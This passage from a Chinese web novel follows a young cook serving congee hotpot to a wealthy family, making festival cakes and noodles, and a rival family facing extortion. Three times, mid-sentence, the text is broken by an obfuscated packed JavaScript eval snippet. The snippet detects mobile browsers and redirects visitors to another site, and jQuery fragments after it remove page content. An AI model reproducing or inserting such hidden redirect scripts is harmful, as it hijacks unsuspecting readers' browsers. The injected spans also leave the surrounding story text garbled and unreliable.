丫鬟上前将粥端给各位主子。 宋连玉一看，只见这粥晶莹洁白，浓滑细腻，不见米粒，却又米香四溢，惊叹道，“这粥竟是见不着米粒。” “少爷一眼便瞧出了这粥的特别之处，这粥又唤毋米粥，只将米中精华熬出，有米又不见米。” 老太太和宋老爷纷纷搅了搅粥碗，果然没有米粒，尝了口只觉米香浓郁，道这粥做得精细。 接着卢晓晓将贝肉和生蚝下入锅中，浓稠的粥水将其瞬间包裹，锁住了贝肉和生蚝的汁水和鲜味，再轻轻的搅动锅底，待煮熟后，用漏勺盛出。 丫鬟将粥碗换下，端上煮好的海鲜，还有一小碟子秘制的料汁。 卢晓晓接着说道，“老太太、老爷、少爷，这粥底火锅烫菜也讲究顺序，最先吃的就是海鲜，烫出的海鲜既没有腥味，又把海鲜的鲜味留在了锅里。” 老太太尝了尝，鲜而不腥，清甜多汁，料汁鲜甜中带着一丝丝辣味，犹如画龙点睛，将海鲜的鲜味发挥到最大。 卢晓晓又将处理好的虾放入锅中，虾身用竹签串直，保证虾肉受热均匀，烫熟后将竹签抽出，粥水裹煮虾肉，滑润鲜嫩又有弹性。 未吃尽兴，碟子里的海鲜就空了，老太太拿帕子压了压嘴角，开口道，“鲜是鲜，就是量少了些。” “老太太，一会还有好些吃的呢，您得留着肚儿好都尝尝呀！这接下来的鱼片更是鲜呢！” 边说边将片好的鱼肉滑入粥中，用勺子轻微地搅动粥水，鱼肉变成白色，便起锅了。 煮好的鱼片，要趁热吃，蘸料后送入口中，只觉得鲜味层层叠叠，既有鱼的鲜，也有虾贝的鲜，还有大米的鲜。 有婆子进来道，“老太太，四小姐过来了。” “快叫她进来，再置套碗碟，这也是个馋嘴的，怕是得了消息，知道咱在这吃好吃的了。”老太太笑道。 宋云想先是规规矩矩地给长辈见过礼，然后又跟宋连玉打了招呼，接着就被空气中弥漫的鲜香吸引了。 “好香啊，这是在吃什么?我听说祖母请了卢记的小娘子过来。” “你们看，我就说这是个馋嘴的，这刚来就惦着吃的了，快坐下一道吃吧！”老太太笑道。 接着又对卢晓晓道，“小娘子，接下来又该吃什么了？” “小姐来得巧，吃粥底火锅前喝完粥最好，接下来咱该喝第二碗粥了。第二碗粥又叫鲜味粥，这粥水融合了不同的鲜味，最是鲜美。” 丫鬟又给几人端上一碗粥，老太太不宜多食，卢晓晓只给盛了半碗。 宋云想喝了口鲜味粥，眼睛都亮了，她虽没吃海鲜，但已经充分尝到了海鲜的鲜味，顿觉胃口大开，只懊恼没有早来。 “哥哥，来祖母这吃好东西也不叫上我，我可是一听说卢记小娘子来了，便去找哥哥了。”宋云想娇嗔道。 “四丫头竟也知道卢记食坊的小娘子呢？”老太太问道。 “哥哥没与祖母说吗？” 45. 重阳糕 “祖母常吃的金玉糕的做法是卢小娘子想出来的呢！明月姐姐生辰那日我还带了些去，她可喜欢了。” “卢小娘子是故事里说的至善人家？”老太太称奇道。 “不敢瞒老太太，那金玉糕的做法是小女想出来的，故事是杜撰的，不过功效却是真的。” “对对，姐姐说元伯伯找大夫看过了，金玉糕有健脾开胃，养心安神的功效，让祖母平日里食用一些。” 宋云想的姐姐宋云思嫁给了元家大公子，对这金玉糕的来龙去脉最是清楚。 “原来小娘子还懂一些药理，今日这火锅吃得暖烘烘的，极是舒坦。”老太太夸道。 “老太太缪赞了，我只爱琢磨吃食，可不懂什么药理，不过我想着五谷杂粮养人，只有吃好了，身体也才能好。”卢晓晓一边说，一边将煮熟的猪肉丸子盛入碗中。 “是这么个理，小娘子年纪小小，却懂得不少。”老太太如今吃舒服了，看卢晓晓是怎么看怎么顺眼。 见新吃食端上来，低头尝了，道，“这丸子不错，鲜嫩多汁，都尝尝。” 宋云想往日里不爱食猪肉，先是小小地咬了一口，只觉得肉丸鲜香有弹性，细嚼后没有猪肉腥味，只有锅底的鲜味，一连吃了好几个。 刚吃完丸子，嫩牛肉又端上来了，牛肉又嫩又滑，入口即化，然后是山菇，萝卜，最后将菜丝下入锅中，吃了第三碗粥。 第三碗是营养粥，此时的锅中浓缩了各种白菜的精华，味道鲜美，口感醇厚。 喝完粥，这顿饭才算吃完。 一顿午食，细火慢煮，吃了小半时辰，老太太比往日多吃了不少，吃得面色红润，精神烁烁。 宋管事使人将锅灶碗碟收了去，又偷偷嘱咐婆子将锅里的粥留着。他可瞧见了，几位主子都把碗里的粥吃了个干净，这粥定是鲜美无比。 等丫鬟们伺候几人漱了口，净了手，又才说起话来。 “今日吃得好极了，小娘子想要何赏赐？”老太太问道。 “老太太吃得好，是小女的荣幸，不敢要赏。”卢晓晓推辞道。 “这粥底火锅很是不错，我宋家名下铺子不少，不若我宋家出铺子，小娘子出手艺，咱合开一间酒楼，主卖这粥底火锅。” “爹的主意好，卢记食坊连个雅座都没有，我想去都没机会去，开了酒楼我便能叫小姐妹一起去了。”宋云想雀跃道。 “谢谢宋老爷和宋小姐抬爱，卢记食坊是家中的生意，虽是小本经营，全家人都费了不少心血呢！过两日就要在后院里开间雅座了，到时候定是第一时间告诉宋小姐。” 接着又说道，“若是老太太要赏，不若赏我每月给老太太做顿饭吧！” “这哪能算赏赐？我看你就是哄我老人家开心。”老太太笑道。 “小女和小女的家人没什么见识，没吃过也没见过什么好东西，老太太您见多识广，就盼着得老太太一两句点评，把吃食做得更好呢！”卢晓晓解释道。 “我是听明白了，小娘子是想让我给你试菜呢！正好，我也喜欢尝新鲜吃食，那便这么安排了。不过今日的赏是不能少的。”老太太乐道。 又对宋管事吩咐道，“拿十两银子给小娘子，再安排以后每月一日来府里做吃食。” “祖母，你定要叫上我。”宋连玉高兴的说道，想到往后每个月都有好吃的新鲜吃食，他便高兴极了。 “还有我，还有我！”宋云想也积极地说道。 “都来都来，我就喜欢热热闹闹的。”老太太乐开了怀。 下午的时候，卢记食坊的客人不多，赵杏花端了盆水，正在擦桌椅，忽见一顶青布帷幔的轿子在铺子前停下。 赵杏花忙擦了擦手迎出去，铺子里的客人也纷纷探头张望。 轿帷掀开，卢晓晓左手抱着个瓦罐，右手拎着个纸包走了出来。 “嫂子怎么出来了？” 轿钱宋管事给过了，卢晓晓给抬轿人道了声谢，才进了铺子。 “晓晓回来啦，宋老太太可还满意今日做的吃食？”赵杏花上前接过瓦罐问道。 听到这句问，铺子里的客人都拉长了耳朵。 “喜欢喜欢，老太太打了赏，还让我拿了些糕点回家呢！”卢晓晓将右手的纸包举起来，晃了晃。 “宋老太太可是吃过不少好东西，小娘子做的什么吃食呀，可有卖的，叫我们也有机会尝尝。”一客人问道。 “那吃食的吃法比较特殊，等过几日，后院的雅阁做好了，便有得吃啦！这新吃食要多人吃才好吃呢，您到时候不妨带上家人或是约几个好友来尝尝鲜。”卢晓晓又答了客人的几个问题，才回了后院。 卢二娘子跟了过去，道，“晓晓，咱家铺子要做雅阁吗？” “嗯，我正想跟爹娘说呢，上回二哥去醉香楼说起二楼雅阁的事，我就想着咱家西厢房还空了一间，要不要也做个雅阁，但又怕没人来吃。”有钱人吃一桌席能赶上普通人家吃一个月的钱了。 “正是，这雅阁的备菜可不便宜，若是没人吃，砸咱手里，怕是铺子里一日的收入都不够的。”卢二娘子担忧道。 “嗯，我原也这么想，不过今日在宋府，宋家小姐说咱家都是散座，想邀姐妹来吃都没机会。我就想咱可以设个雅阁，只接受预订，菜要提前一日订好，这样便不用担心备菜的事了。”这就有些像现代的私房菜了。 “这主意不错，咱可以每日中午和晚上各接一桌席。”卢二娘子很是赞成。 卢晓晓又补充道，“既然做雅阁，那这厢房的墙要刷一刷，窗纸也要换，屋内还要加些摆件，咱这院子也要拾掇拾掇，最好是种些花草。” “找人刷墙换窗纸的事儿交给你爹，种花他自己能行，摆件的事你来琢磨吧，咱家就你去宋府去的多见的多。”一桩桩，一件件，卢二娘子都给安排好了。 母女俩说话间把事情定好了。卢晓晓又说往后每月都有一日上宋府做饭给老太太吃，吃饭的还有宋府的少爷小姐。若是无意外，他们卢记食坊便能在城关镇立住了。 明日初九，既是重阳节，又是赵杏花的回门日，除了铺子里惯做的吃食，还要备些节庆食物。 重阳节吃重阳糕。重阳糕重装饰，造型漂亮，色彩纷呈，北边多以石榴籽、红枣、栗子肉等鲜干果铺于糕面，吃的甜口，南边则更爱石榴籽、猪肉丝、羊肉丝、煎鸭蛋丝的甜咸口。这与现代人印象中的南甜北咸略有差异。 入乡随俗，卢晓晓打算做甜咸口的。先将粘米粉和糯米粉掺和，加入蔗糖，一小勺油，少量多次的加清水，搅拌成松散的粉状，把大颗粒的粉团揉散，然后搁在一旁静置。 然后准备猪肉丝，将猪肉洗净，切大块放入锅中，加入姜片葱蒜去腥，煮熟放凉后按肉丝纹路撕成细丝，然后倒入适量酱油和一点点糖，腌制入味。 趁腌制肉丝的时间，将红枣去核，栗子剥壳，掰成颗粒，石榴剥粒，放置一旁备用。接着起油锅，倒入肉丝，不停地翻炒，直至肉丝微微泛黄时起锅。 米粉吸收足了水分，用筛子筛出细粉，取蒸屉，上铺一块湿布，放入一半的糕粉轻轻抹平，再铺上一层红枣、栗子颗粒，再放入另一半的糕粉抹平，上锅蒸上两刻钟。 然后将做好的猪肉丝铺于糕饼之上，再蒸一小会儿便起锅，摆上石榴籽，插上五色纸做的小旗，重阳糕就做好了，只等明日一家人聚一起的时候切块分食。 到了第二日，卢春芬照例到铺子干活，上午人手充裕，等卢大贵取了肉菜，卢大郎便赶着车带着赵杏花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268028|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了赵家村。 两人拿了一对儿烤鸭，一包红烧肉，一包熏鱼，还有金玉糕若干。到了赵家，杏花娘将东西接了去，两人还未坐下，弟弟赵大壮便打开纸包，吃起肉了。 两人来的快，红烧肉还有些热气，吃起来喷香，赵大壮也不讲究，一手一块的拿着吃。 赵杏花看着嫌弃极了，如今她管着铺子的招待，最是讲究干净，忍不住开口道，“娘，怎么就叫弟弟拆开吃了，这是一会做菜吃的，干吃咸的很。” “怎么就不让吃了，他肚饿，先垫两块肉怎么了，一大早就起来等你们了，早食都没吃好。”杏花娘嚷嚷道。 又大声唤道，“桃花，你个臭丫头，叫你给你姐姐、姐夫烧点水，怎么这会儿都没好？给你弟也端一碗。” 在厨房里烧饭的赵桃花，端了两碗水进来，杏花娘接了过来，一碗给了卢大郎，一碗给了赵大壮。 赵杏花见了，顺势道，“娘，我去灶房做些荷叶饼。”就跟着妹妹一块回了灶房。 吃饭时，赵大壮一个劲的吃肉，赵桃花刚拿起一张荷叶饼，就被狠狠地瞪了一眼，瑟缩地收起夹烤鸭的手，干吃了张饼。 卢大郎见了道，“杏花，给爹、娘和弟弟、妹妹卷个炙鸭卷吧！” 赵杏花在铺子里做的多，不一会儿就给娘家人一人卷了个卷，等到妹妹赵桃花的时候，夹了好大一筷子的烤鸭肉。 一顿饭，赵杏花一会给这个夹肉，一会给那个卷饼，每次都不忘赵桃花，吃得好不热闹。 两人吃过午食就告辞了。 赵杏花想到妹妹说的话，不免有些担忧，回到铺子先去找了卢二娘子，又去找了卢晓晓，这才心安了些。 等到了下午的时候，卢晓晓拿着一食盒的吃食出了铺子，往南穿过两条街，再往东走上一刻钟，到了个种着棵柿子树的巷子口。 见树下坐着几个大爷，卢晓晓上前问道，“大爷，打听一下，这巷子里可是住了家姓何的人家?当家的在镇衙里当衙差?” “你找他家何事?”有一大爷问道。 “我是卢记食坊的小娘子，今日重阳节，何大官人点了几盘吃食，使我送到家中。” “跟我走吧，我就是他爹。”大爷又道。 边上大爷道，“老何，你可有福气，儿子又争气，又惦记着家里。我可听说，这卢记食坊的招牌菜烤鸭和海鲜粉丝煲，味儿可好，不比大酒楼的菜差，就连宋府老太太都吃过呢！” “哼，算他小子识相，整日的不着家，这回总是想到家里了。”大爷面上不显，心中得意极了。 领着卢晓晓走到了一处宅门口，在门口唤道，“英娘，快出来，狗子使人送了菜回来。” “爹，你怎么又唤他狗子，回头叫他听见了该不高兴了。”从宅子里走出一位穿着青色围裙，草绿色衣裳的妇人。 “他再有本事，也还是我的狗子。”大爷嘟囔道。 这妇人见了卢晓晓，接过食盒，道，“小娘子在门口等上片刻，我去把菜盛出来。” 过了一会儿，妇人把食盒拿出来了，道“他叫了这样多的菜也不与我说一声，我都买上菜了。” “何大官人事忙，这是上月底吩咐的，怕是忙忘了，如今天气冷，买的菜放到第二日也是不打紧的。”卢晓晓道。 这菜自然不是何衙差让卢晓晓送来的，上回元三郎请人喝酒，卢晓晓在边上听了一耳朵，知道这何衙差家中对他往日里不常着家诸多抱怨，便想着过节的时候来卖个好。 给何衙差家送了菜，卢晓晓赶紧回了铺子，又做完几个闲汉来叫的菜，这才打了烊，一家人回了村里。 今日重阳佳节，那定是要跟卢爷爷一道吃饭的。两家人不少，天气又冷，最适合吃粥底火锅。 46. 虾油拌面 回到杜家村，卢大娘子已经熬好了粥，虽没有熬出只闻米香、不见米粒的毋米粥，但是米水也融合得足够涮菜了。 将镇上带回的菜一碟碟摆好，又调制好料汁，把锅架到四方的烤火架上，下面起一盆炭，就可以吃了。 先是一人喝了碗养胃粥，然后将白贝倒入锅中，等贝壳开了口，又煮了片刻才捞起来。 海鲜价贵，买的不多，一人只分了两个，这白贝主要是为了奠定粥底的鲜味，鲜美多汁的贝肉让人打开了胃口。 然后将剥了壳的河虾下到锅中，淡青色略透明的虾子淹没在纯白的粥水中，粥水咕嘟嘟地冒，不一会儿，锅中的河虾就变成了红色。 夹起一只带有粥水的虾仁，蘸上秘制的料汁，送入口中，虾仁嫩滑有弹性，味道鲜甜，加上料汁的咸鲜，激活了味蕾。 捞完河虾，就开始吃鱼片，轻薄透明的鱼片下到锅中就略微打卷，变了白色。除了鱼片，还有卢晓晓做的手工鱼丸。 一大早，卢大贵就买回了两大条草鱼，卢晓晓又是挑鱼刺，又是刮鱼肉，然后将刮下的鱼肉用刀背剁成鱼蓉，再反复揉打上劲，加入调料，挤入沸水中，做出一颗颗色泽洁白、口感细腻、鲜香滑嫩的鱼丸。 手工鱼丸既有鱼的鲜味，又不像鱼肉般绵软易碎，肉质清脆有弹性，一口一颗，吃起来痛快极了，不一会儿，一大盘子的鱼丸就被吃了精光。 “这手工鱼丸的口感竟跟鱼肉完全不同，上午晓晓又打又锤的，费了好大劲，我还说咱家也不是那精致讲究的大户人家，不用费这功夫。现在看来，幸亏晓晓没听我的。”卢大贵感慨道。 “这吃食的东西往后就听晓晓的，你烧个饭都烧不明白，瞎出什么主意。”卢爷爷说道，接着问起了铺子的生意。 每次听说镇子上的人喜欢他孙女做的吃食，他就觉得自豪极了。 说段子、讲故事那就要看卢二郎了。每回卢二郎讲故事，说的那叫一个跌宕起伏，引人入胜。只是细节描述的少，让人总觉得缺些什么。如今多了赵杏花，他一边说，赵杏花一边补充细节，让人听得那叫一个痛快。 卢大娘子一边听，一边给人盛粥，吃了鱼肉、鱼丸，就该下鸡肉块了。鸡肉不易煮熟，等着的时候，正好喝碗鲜味粥。 盛了粥，锅里的粥底已是不多，卢大娘子加了新鲜粥底，煮沸后下入腌制好的鸡肉块，只等鸡肉慢慢煮熟。 卢晓晓和卢春芬则去了灶房，打算做道虾油拌面做主食。河虾的虾头虾壳，特意嘱咐卢大娘子留了出来，这可是烹制虾油的好材料。 烧柴起火，锅中倒入足量的菜油，将洗净的虾头虾壳放入锅中，反复翻炒，直到虾头慢慢变成红色，再用铲背按压虾头挤出虾黄，小火熬制约摸一刻钟的时间，等油沸腾，虾油变成红色，加入大蒜、姜片、花椒，少许盐，反复煸炒，爆出香味后，虾油便熬制好了，然后将油渣滤出，放到一旁备用。 卢晓晓在这边熬制虾油，卢春芬便在那边擀面条。面是晚食前揉好的，放置了两刻钟，已经足够醒发，再揉搓成团，用擀面杖擀薄，然后撒上干面粉，将擀面杖卷入面中，反复推卷，最后将擀好的大面片折叠后切出面条。 等卢春芬擀好面条，卢晓晓刚好把一锅水烧开，抖落着把面条下入锅中，以小火煮至面条浮起，轻轻搅动，面条熟透后，用笊篱捞出沥干水分，盛入盆中，淋入调制好的虾油，盆里的面条均匀的拌上油，油亮喷香。 两人动作快，一大盆虾油拌面做好，也不过一刻钟的时间，回到堂屋，锅里的鸡肉刚刚煮好。 “晓晓、春芬快来，鸡肉熟了。把拌面给我，你两先坐下吃。”卢大娘子招呼道。 卢晓晓把虾油拌面递给卢大娘子，道，”二伯娘，这拌面趁热好吃。” “晓晓，这就是虾油拌面吗，太香了，真是用虾头虾壳做的呀?”卢二郎一下子就被红红亮亮的虾油拌面吸引住了。 “想不到往日里没用的虾头虾壳还有这大用处，这虾油拌面闻起来还真有虾的味道。”卢大娘子道。 卢晓晓让她留虾头的时候，她还很是疑惑，看来往后这吃食方面定要好好听晓晓的。 “这虾油不知道能不能用来拌粉丝?”卢大富问道。如今制作粉丝已经成了家中的主要经济来源，若是有更多的菜品推出，粉丝也会卖得越多。 “那自然是可以的，二伯倒是提醒我了，有客人问粉丝能不能单卖，干粉丝易存放，我看不若多做些，往后咱在铺子里卖些干粉丝。” “这主意好，如今粉丝在镇上独一家，既能做主食，又能做菜，定是好卖的。”卢二娘子道。 “我看不止镇上独一家，在这青阳县都是独一家呢！我招待过好几个县里的客人了，都问我这新鲜吃食是什么呢！” 赵杏花道，她与卢二郎的一番配合，跟卢家人熟悉了不少。 “好好好，如今秋收过去了，要多少，家里都能供应上。”卢大富想着往后的日子，充满了干劲。 卢爷爷乐呵呵地看着几人，吃着鲜香的拌面，啃着嫩滑的鸡块，心中那叫一个美。等他再报上重孙，这日子就更美了，怪不道算命的说他晚年有大福。 一家人团头聚面的说说笑笑，说完镇上的趣事，说村里的趣事，好不欢快，直吃到戌时过半，才收了锅子。 吃晚饭，几个小娘子便起身收拾，赵杏花也忙不迭地起身，卢晓晓把她拦住了，“嫂子，你歇着吧，我们姐妹来就行了。” “对，你快坐下，白日在铺子里就没得歇，晚上便好好歇歇，让晓晓她们收拾吧！”卢二娘子也劝道。 赵杏花想了想，顺势坐下了，笑道，“多谢娘和妹妹疼惜了，那我就厚颜坐下了。” 秀珠听了，不免泛了酸，她刚进门的时候，这煮饭、刷碗、洗衣、种菜是样样没落下，这才得了孝顺能干的名头，叫家里人高看几眼。 不得不说这人一旦开始钻牛角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304129|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖，就只往那死胡同里想了，她不知道赵杏花为了避嫌，是从来不往灶上去的。镇上洗碗是在院子里，这院子里没有水井。想到要在灶房里洗，赵杏花才又坐了下来。 又说镇上的何衙差家。 何衙差下午就惦记着下值后买个糟猪蹄回家，可今日明前街有人打斗，何衙差忙到了戌时，糟货铺子已经打烊。 何衙差空着手叩响家门，不免有些忐忑，心里做足了进门后被老爹冷眼，被妻子埋怨的准备。 妇人开门见是何衙差，开口嗔怪道，“怎么这个点才回来，孩子们都饿了。” 何衙差见妻子的语气中有嗔无怨，不免有些奇怪，也没多问，只接话道，“这一过节，街上就容易生事，今日有两家人就为了占座的事打了起来。” 进了院子，只见老爹从屋里出来，一脸喜色的说道，“狗子，快洗洗吃饭了，今日咱爷俩好好地喝上两杯。” 何衙差更疑惑了，这家中发生了什么他不知道的喜事?刚想问妻子，妻子转身去灶房端饭菜去了。 带着一肚子的疑惑，何衙差洗漱完坐在桌前，只见妻子端上了好几个肉菜，一碟子鲜虾粉丝，一大碗烧肉，一碟子烤鸭肉片，还有两只烤鸭腿。 “这菜哪来的?”何衙差不禁开口问道。 “瞧你这记性，这是卢记食坊的小娘子下午送来的，说是上回你跟人一道吃饭的时候定的。”妇人提示道。 “哦哦，有这么回事，上月底我跟元三在卢记食坊吃饭来着，这家菜味道不错，你们多尝尝。” 说完给两个孩子一人分了只烤鸭腿，又给何老爹和自己斟了酒，道，“今日过节，咱好好吃一顿，乐呵乐呵。” 这个重阳节，何衙差一家人是过得欢快又满足。距离镇上十几里路村子里的张家过得就没这么和睦了。 自打卢家来张家村闹了一场，跟张家断了姻亲往来，秀珠娘就过得越发的不顺了，往日里厚着脸皮占左邻右舍的便宜，如今也不顶用了，客气点的说家中没有富余的，不客气的直接说你又想占便宜了。 今日，大儿媳妇早早地做好了饭菜，可迟迟不见张二郎回来，秀珠娘执拗，非要等到儿子回来才吃饭，一家人只得饿着肚子等。 等到天黑，等来了两个凶神恶煞的彪形大汉把张二郎捆了回来。两人叫开院门，一把将张二郎推倒在地上。 张家二儿媳姓李，李娘子有心扶自家男人起身，又怕那彪形大汉阻拦，伤到肚里的孩子，踟蹰的不敢上前，杏花娘见了，心疼地扑上去，手忙脚乱地解绳子，道，“儿啊，你这是怎么了，怎么就被人欺负了?” 又对那两人怒目道，“你们俩是什么人，朗朗乾坤就敢打人?” 其中一方脸大汉道，“你们是这淫贼的家人吧，我劝你们小点声，不然丢人的可是你们。” 张家人震惊地看向张二郎，这才将他细细地打量一番，只见他衣衫不整，头发凌乱，脸上似乎蹭上了口脂。 47. 广寒糕 李娘子下意识地上前查看，见果然是女人用的胭脂，惊疑地问道，“你干了什么！” 张二郎嗫嚅地说不出话。 方脸大汉冷笑道，“你家相公趁我家东家外出走货的时候奸污了我家小娘，若不是我家相公回来得巧，我家小娘就投缳了。” “你胡说，明明是她勾引的我！”张二郎辩白道。 “你给我闭嘴，你个丢人现眼的东西。”秀珠爹骂道，接着又谄笑着对大汉说道，“老汉我定会好好管教小儿，狠狠地责罚他，还请两位好汉高抬贵手。” “我们也不管你管不管教的，只不过我家小娘可是真金白银买回来的，如今被你家儿子污了清白，我家东家也不欲与你们纠缠，就赔偿五十两银子吧！” 张家人听了，倒吸了一口气。 “两位好汉，这是不是要太多了?刚才小儿说了，那都是你家小娘情愿的。”秀珠爹听到这，态度硬了起来。 他盘算过了，对方只有两人，若是把村里人叫来，便不怕他们能把二郎怎么样了，只是丢脸一些，好过把五十两银子给出去。 “老头，我劝你乖乖的给钱，不要动别的心思，你儿子签下了奸污我家娘子的认罪书，不给，我们就将认罪书递给官府。”方脸大汉语出惊人。 “我打死你。”秀珠爹忍不住找了根棍子往张二郎身上打，秀珠娘拼命拦着。 □□罪可是重罪，是要斩首的。李娘子吓傻了，坐在地上哭，张家大儿媳赶紧将她扶回里屋，几个孩子早就被打发回屋了。 “得了，我们兄弟俩也没功夫看你们在这哭哭啼啼的，我们东家仁厚，这钱我们三日后再来取。”说完两人就走了。 秀珠娘在院子里嚎啕大哭起来，张家乱成了一团，也顾不上两人离开后去了哪里。 “快别嚎了，你是要把村里人都招来吗?赶紧进屋去！”秀珠爹骂道。 张大郎赶紧将秀珠娘连拖带拽地带回堂屋，张二郎垂头丧气地跟了上去，刚进屋，就听秀珠爹一声怒喝，“跪下！” 张二郎腿一软，跪了下去。 “你个蠢东西，你真签了□□那女子的认罪书?这□□罪可是死罪呀！”秀珠爹痛心疾首道。 也难怪这张二郎不是什么好人，这当爹的第一反应不是怪他犯下这塌天大祸，而是怪他认了罪。 张二郎听到死罪，吓坏了，跪着上前，抱住秀珠爹的大腿，一把鼻涕一把泪道，“那人说不签就打断我的腿，爹你可要救我呀！” “我的老天爷啊，咱家上来这么多钱呀！”秀珠娘捶胸顿足。 张大郎站在一边不言语，脸色难看，心中是恨不得上前踹弟弟一脚。 秀珠爹沉默了片刻，让两人先回去了。 张二郎回了屋，李娘子从床上坐起身来，是又掐又打，又哭又骂，闹腾了大半宿才歇下。 到了第二日，杏花爹一大早便把儿子儿媳都叫到了堂屋，开口道，“二郎不能不救，我跟你们娘盘算过了，我们手里有三十两的积蓄，你们看看能不能凑些。” “爹，我们哪有钱，挣得钱都交到公中了。虎子眼见就七岁了，我还想着明年送他去学堂识字，公中的钱全给出去了，家里往后如何过活?”大儿媳妇嚷嚷道。 “老大，你说。” “爹，我们真没钱，往日里都给虎子、大丫买了东西了。”张大郎板着脸回道。 张二郎掏出钱袋，着急道，“爹，我们这有五贯钱，剩下的找大姐和三妹她们凑些吧！后日人就来要钱了，可等不得了。” 一旁的李娘子不说话，只恨恨的看着。 杏花爹叹了口气，对张大郎吩咐道，“去把秀云叫回来吧，就说你们娘病了。” 秀云回来了，自然也没有钱，不过她给出了个正中人下怀的主意。 镇上的小娘子如何会看上张二郎这无权无势的乡下人?那自是有人设计的，这设计之人正是醉香楼的李师傅。 卢晓晓一家可不知道这些个腌臜事，在杜家村欢欢喜喜过了重阳节，又回到镇上高高兴兴地开铺子了。 宋家小哥午时过来了，受宋家少爷的吩咐来请卢晓晓后日做几道菜送到宋府。 又过了一日，忙过了早食的饭点，大家开始轮流吃早食，卢春芬却胃口不佳，情绪低落的样子。 卢二娘子见了很是纳闷，前两日都还好好的，也没到小日子的时候，关切地道，“春芬，怎么了?今日可是身体不适?” “三婶，我没事，我就是想不通，你说这人嫁出去之后想着娘家是不是就是错的，可是爹娘养育我，兄弟姐妹伴我长大，怎么能割舍?” “你怎么突然有这想法?可是有喜欢的人了?”卢二娘子惊疑道。 “不是我，是嫂子，昨夜嫂子跟哥哥吵了一架。昨日一早，嫂子的大姐过来了，说她们娘病了，叫嫂子回去一趟。这事娘也不好拦，便让她回去了，回来就管哥哥要钱，说是她娘病了，她不能不管。” “后来呢?”卢晓晓问道，好家伙，这不是道德绑架吗? “哥哥说既是病了，那他就一起去看看，嫂子又不让，哥哥就说嫂子的娘根本没病，两人就吵了起来。” “这事你们怎么想的?要是你们会怎么做?”卢二娘子问道。 “我不知道，我觉得不管娘家的死活肯定是不行的，可是像嫂嫂那样好像也不对。”卢春芬缓缓说道。 “照我说，就不该管这事，婚后跟娘家往来本是理应之事，可也要分什么样的娘家，若是知礼的，两家之间有来有往，那便是多了门亲戚，若是存心占便宜又有坏心思的，那是非必要不往来。” “那如今这样，不就是必要的情况?”卢春芬跟着问道。 “这太平盛世了十几年，又是当地人，谁家没有个积蓄，若是真是病了，那自家积蓄也能顶些日子，哪有一病就找女儿要钱的?再说，这病一看就是有蹊跷，但是要装病来掩盖的事，你当又是什么事?定是不可见人的事。”卢晓晓咔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314328|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咔一通分析。 “那嫂子她知道吗?”卢春芬不禁问道。 这话卢晓晓就不好接了。 “不管知不知道，她如今的行事都是不妥的。若她不知道，那她不问缘由就要接济娘家是不对的，若她知道，那她欺瞒家人也是不对的。这人呐，最重要的是真诚坦荡。”卢二娘子道。 “嫂子往日里挺好的，怎么会这样。”卢春芬想不通。 这再往下的话，卢二娘子也不好再说了。 “姐，别想这些了，这家里的事就留给长辈们操心，我们做些好吃的吧！”卢晓晓转移话题道。 “你倒是会，合着家中的烦心事都留给长辈啦?”卢二娘子笑道。 “这有什么可烦的，二伯娘跟娘一样，是通情又达理，能干又利落，这事情定是处理得漂漂亮亮的，根本轮不到我们这些小辈瞎操心。” 卢晓晓拉着卢二娘子的手，一边摆，一边说道，劝慰卢春芬的同时，还不忘夸卢二娘子。 卢春芬见卢晓晓小女孩状，终于被逗笑了。是啊，她今早出门的时候，她娘神色无异，跟往时一样呢，她有什么好愁的呢? “晓晓要做什么好吃的?若不是新鲜吃食，我可不依。” “昨日得了些鲜桂花，不若做广寒糕吧！乡试也快放榜了，咱沾沾这中举之人的喜气。” “广寒糕是什么糕?跟放榜又有什么关系?”卢春芬疑惑道。 “就是桂花糕，有广寒高甲、蟾宫折桂的好意头，读书人最喜欢了，做出来是好看好闻又好吃，我这就去做。”说完就风风火火地去了后院。 从昨日收回的桂花里，挑出品相好的去除花梗，放入清水中浸泡漂洗，洗净灰尘，放簸箕中沥干水份。 然后到街上的药铺里买了两三片甘草片，卢晓晓是按古法做的广寒糕。古书记载，宋朝人惯在茶饮茶点中加甘草片。甘草片味甜带有药味，给广寒糕增添了独特的风味。 将甘草片放入锅中，加一碗水，大火烧开后，小火熬制，煮至锅中剩半碗水，熄火后加入桂花蜜酱搅拌，利用甘草汁的温度快速融合，然后将甘草片渣捡出，搁置一旁。 粘米粉和糯米粉掺混，少量多次的加入放凉的甘草水，直到一捏成团，一按即散的状态。把大颗粒的粉团揉散，再用筛子筛出细粉，这样做出来的糕点才细腻绵密。 